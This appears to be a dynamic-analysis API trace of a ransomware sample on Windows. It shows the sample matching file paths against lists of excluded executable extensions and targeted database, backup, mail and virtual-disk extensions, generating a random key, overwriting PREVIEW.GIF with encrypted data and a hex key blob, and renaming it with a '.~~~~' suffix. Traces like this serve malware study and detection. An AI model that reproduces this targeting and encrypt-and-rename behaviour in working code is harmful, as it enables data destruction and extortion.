	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.233] lstrlenW (lpString=".dbx") returned 4
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.233] lstrlenW (lpString=".DB3") returned 4
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.233] lstrlenW (lpString=".DAT") returned 4
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.233] lstrlenW (lpString=".VHDX") returned 5
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.233] lstrlenW (lpString=".ndf") returned 4
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.233] lstrlenW (lpString=".DB") returned 3
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.233] lstrlenW (lpString=".sql") returned 4
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.233] lstrlenW (lpString=".MYD") returned 4
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.234] lstrlenW (lpString=".DBT") returned 4
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.234] lstrlenW (lpString=".ACCDB") returned 6
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.234] lstrlenW (lpString=".fdb") returned 4
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.234] lstrlenW (lpString=".bak") returned 4
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.234] lstrlenW (lpString=".myd") returned 4
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.234] lstrlenW (lpString=".DTXS") returned 5
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.234] lstrlenW (lpString=".ckp") returned 4
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.234] lstrlenW (lpString=".dbt") returned 4
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.234] lstrlenW (lpString=".db") returned 3
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.234] lstrlenW (lpString=".TXT") returned 4
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.234] lstrlenW (lpString=".MDF") returned 4
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.234] lstrlenW (lpString=".bdb") returned 4
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.234] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.234] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0084.236] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.236] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.236] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20422593052) returned 1
	[0084.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c0b5b30, dwHighDateTime=0x1d60e1e)) 
	[0084.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3886b0
	[0084.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3886b0 | out: hHeap=0x300000) returned 1
	[0084.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808090
	[0084.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808090 | out: hHeap=0x300000) returned 1
	[0084.236] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0084.237] GetLastError () returned 0x0
	[0084.237] GetLastError () returned 0x0
	[0084.237] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0084.237] GetLastError () returned 0x0
	[0084.237] GetLastError () returned 0x0
	[0084.239] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff08b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.239] WriteFile (in: hFile=0x120, lpBuffer=0x283ffe0*, nNumberOfBytesToWrite=0xf75, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283ffe0*, lpNumberOfBytesWritten=0x26dfec0*=0xf75, lpOverlapped=0x0) returned 1
	[0084.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ffe0 | out: hHeap=0x300000) returned 1
	[0084.240] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.240] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.240] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.240] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.240] CloseHandle (hObject=0x120) returned 1
	[0084.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0084.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.~~~~")) returned 1
	[0084.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0084.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.241] GetLastError () returned 0x0
	[0084.241] RtlWakeConditionVariable () returned 0x365f70
	[0084.241] GetCurrentThreadId () returned 0x9cc
	[0084.241] GetCurrentThreadId () returned 0x9cc
	[0084.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808090
	[0084.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808528 | out: hHeap=0x300000) returned 1
	[0084.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9810 | out: hHeap=0x300000) returned 1
	[0084.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808528
	[0084.242] lstrlenW (lpString=".scr") returned 4
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".scr") returned 0x0
	[0084.242] lstrlenW (lpString=".cmd") returned 4
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".cmd") returned 0x0
	[0084.242] lstrlenW (lpString=".dll") returned 4
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".dll") returned 0x0
	[0084.242] lstrlenW (lpString=".bat") returned 4
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".bat") returned 0x0
	[0084.242] lstrlenW (lpString=".cpl") returned 4
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".cpl") returned 0x0
	[0084.242] lstrlenW (lpString=".sys") returned 4
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".sys") returned 0x0
	[0084.242] lstrlenW (lpString=".msc") returned 4
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".msc") returned 0x0
	[0084.242] lstrlenW (lpString=".com") returned 4
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".com") returned 0x0
	[0084.242] lstrlenW (lpString=".lnk") returned 4
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".lnk") returned 0x0
	[0084.242] lstrlenW (lpString=".msp") returned 4
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".msp") returned 0x0
	[0084.242] lstrlenW (lpString=".pif") returned 4
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".pif") returned 0x0
	[0084.242] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.243] lstrlenW (lpString=".sqb") returned 4
	[0084.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".sqb") returned 0x0
	[0084.243] lstrlenW (lpString=".ost") returned 4
	[0084.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".ost") returned 0x0
	[0084.243] lstrlenW (lpString=".txt") returned 4
	[0084.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".txt") returned 0x0
	[0084.243] lstrlenW (lpString=".mdt") returned 4
	[0084.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".mdt") returned 0x0
	[0084.243] lstrlenW (lpString=".BDB") returned 4
	[0084.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".BDB") returned 0x0
	[0084.243] lstrlenW (lpString=".eql") returned 4
	[0084.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".eql") returned 0x0
	[0084.243] lstrlenW (lpString=".DBF") returned 4
	[0084.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".DBF") returned 0x0
	[0084.243] lstrlenW (lpString=".EQL") returned 4
	[0084.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".EQL") returned 0x0
	[0084.243] lstrlenW (lpString=".FDB") returned 4
	[0084.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".FDB") returned 0x0
	[0084.243] lstrlenW (lpString=".EDB") returned 4
	[0084.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".EDB") returned 0x0
	[0084.243] lstrlenW (lpString=".DACPAC") returned 7
	[0084.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.244] lstrlenW (lpString=".VHD") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".VHD") returned 0x0
	[0084.244] lstrlenW (lpString=".DBV") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".DBV") returned 0x0
	[0084.244] lstrlenW (lpString=".dacpac") returned 7
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".dacpac") returned 0x0
	[0084.244] lstrlenW (lpString=".sdf") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".sdf") returned 0x0
	[0084.244] lstrlenW (lpString=".accdb") returned 6
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".accdb") returned 0x0
	[0084.244] lstrlenW (lpString=".DBX") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".DBX") returned 0x0
	[0084.244] lstrlenW (lpString=".MDT") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".MDT") returned 0x0
	[0084.244] lstrlenW (lpString=".SQB") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".SQB") returned 0x0
	[0084.244] lstrlenW (lpString=".vhd") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".vhd") returned 0x0
	[0084.244] lstrlenW (lpString=".bac") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".bac") returned 0x0
	[0084.244] lstrlenW (lpString=".mdf") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".mdf") returned 0x0
	[0084.244] lstrlenW (lpString=".BAK") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".BAK") returned 0x0
	[0084.244] lstrlenW (lpString=".BAC") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".BAC") returned 0x0
	[0084.244] lstrlenW (lpString=".dbs") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".dbs") returned 0x0
	[0084.244] lstrlenW (lpString=".vhdx") returned 5
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".vhdx") returned 0x0
	[0084.244] lstrlenW (lpString=".NDF") returned 4
	[0084.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".NDF") returned 0x0
	[0084.245] lstrlenW (lpString=".dat") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".dat") returned 0x0
	[0084.245] lstrlenW (lpString=".DBS") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".DBS") returned 0x0
	[0084.245] lstrlenW (lpString=".CKP") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".CKP") returned 0x0
	[0084.245] lstrlenW (lpString=".edb") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".edb") returned 0x0
	[0084.245] lstrlenW (lpString=".PST") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".PST") returned 0x0
	[0084.245] lstrlenW (lpString=".dbf") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".dbf") returned 0x0
	[0084.245] lstrlenW (lpString=".SQL") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".SQL") returned 0x0
	[0084.245] lstrlenW (lpString=".pst") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".pst") returned 0x0
	[0084.245] lstrlenW (lpString=".dbv") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".dbv") returned 0x0
	[0084.245] lstrlenW (lpString=".SDF") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".SDF") returned 0x0
	[0084.245] lstrlenW (lpString=".dtxs") returned 5
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".dtxs") returned 0x0
	[0084.245] lstrlenW (lpString=".db3") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".db3") returned 0x0
	[0084.245] lstrlenW (lpString=".OST") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".OST") returned 0x0
	[0084.245] lstrlenW (lpString=".dbx") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".dbx") returned 0x0
	[0084.245] lstrlenW (lpString=".DB3") returned 4
	[0084.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".DB3") returned 0x0
	[0084.245] lstrlenW (lpString=".DAT") returned 4
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".DAT") returned 0x0
	[0084.246] lstrlenW (lpString=".VHDX") returned 5
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".VHDX") returned 0x0
	[0084.246] lstrlenW (lpString=".ndf") returned 4
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".ndf") returned 0x0
	[0084.246] lstrlenW (lpString=".DB") returned 3
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".DB") returned 0x0
	[0084.246] lstrlenW (lpString=".sql") returned 4
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".sql") returned 0x0
	[0084.246] lstrlenW (lpString=".MYD") returned 4
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".MYD") returned 0x0
	[0084.246] lstrlenW (lpString=".DBT") returned 4
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".DBT") returned 0x0
	[0084.246] lstrlenW (lpString=".ACCDB") returned 6
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.246] lstrlenW (lpString=".fdb") returned 4
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".fdb") returned 0x0
	[0084.246] lstrlenW (lpString=".bak") returned 4
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".bak") returned 0x0
	[0084.246] lstrlenW (lpString=".myd") returned 4
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".myd") returned 0x0
	[0084.246] lstrlenW (lpString=".DTXS") returned 5
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".DTXS") returned 0x0
	[0084.246] lstrlenW (lpString=".ckp") returned 4
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".ckp") returned 0x0
	[0084.246] lstrlenW (lpString=".dbt") returned 4
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".dbt") returned 0x0
	[0084.246] lstrlenW (lpString=".db") returned 3
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".db") returned 0x0
	[0084.246] lstrlenW (lpString=".TXT") returned 4
	[0084.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".TXT") returned 0x0
	[0084.246] lstrlenW (lpString=".MDF") returned 4
